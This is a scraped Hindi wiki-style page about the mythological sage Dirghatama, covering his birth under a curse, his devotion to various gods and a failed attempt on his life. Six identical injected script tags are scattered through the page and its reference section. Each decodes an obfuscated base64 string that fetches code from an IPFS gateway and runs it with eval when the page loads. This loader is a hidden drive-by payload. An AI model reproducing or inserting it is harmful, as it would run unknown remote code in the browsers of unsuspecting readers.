दीर्घतमा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

दीर्घतमा की माता का नाम ममता था। ममता बृहस्पति के श्रेष्ठ भ्राता उच्यथ की पत्नी थी। एक बार बृहस्पति ममता पर आसक्त हो गए और पति (उच्यथ) की अनुपस्थिति में ममता के विरोध करने पर भी उन्होंने ममता के साथ बलपूर्वक सम्भोग किया। ममता गर्भवती थी, अत: रति का पूर्ण आनन्द न ले पाने के कारण उन्होंने अपने बड़े भाई के गर्भस्थ पुत्र को जन्मांध होने का शाप दिया। ममता को बहुत ही दु:ख हुआ। उसका पुत्र दीर्घतमा अत्यन्त सुन्दर होते हुए भी जन्मांध था।

  • दीर्घतमा मेधावी, सुन्दर, गायक, शास्त्रों का ज्ञाता तथा दर्शनवेत्ता था।
  • उसने अनेक देवी-देवताओं की स्तुति कर उन्हें प्रसन्न करने का प्रयास किया, जिससे की वह दृष्टि प्राप्त कर ले।
  • अश्विनी, विष्णु, अग्नि, इंद्र, सूर्य आदि विभिन्न देवताओं की स्तुति में वह निरन्तर लग्न रहता था।
  • दीर्घतमा के परिचायक बहुत दु:खी हुए कि वृद्ध दीर्घतमा की देह का अंत नहीं होता। वह लाठी टेककर चलता है और सेवकों की कठिनाई बनी रहती है।
  • अत: पूर्वनिश्चत योजना के अनुसार दीर्घतमा को एक गहरी नदी में स्नान के लिए ले गये और वहाँ अथाह जलराशि में उन्होंने उसे धकेल दिया।
  • वहाँ भी डूबता न देखकर त्रेतन ने अपनी कटार निकालकर चक्षुहीन दीर्घतमा पर वार किया, किन्तु कटार का प्रत्येक वार त्रेतन को ही आहत करता गया।
  • त्रेतन का शरीर खंड-खंड होकर नष्ट हो गया। कालान्तर में अनेक सूत्रों के द्रष्टा दीर्घतमा सौ वर्ष की आयु भोगकर ब्रह्मलीन हो गये।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

भारतीय मिथक कोश |लेखक: डॉ. उषा पुरी विद्यावाचस्पति |प्रकाशक: नेशनल पब्लिशिंग हाउस, नई दिल्ली |पृष्ठ संख्या: 135 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>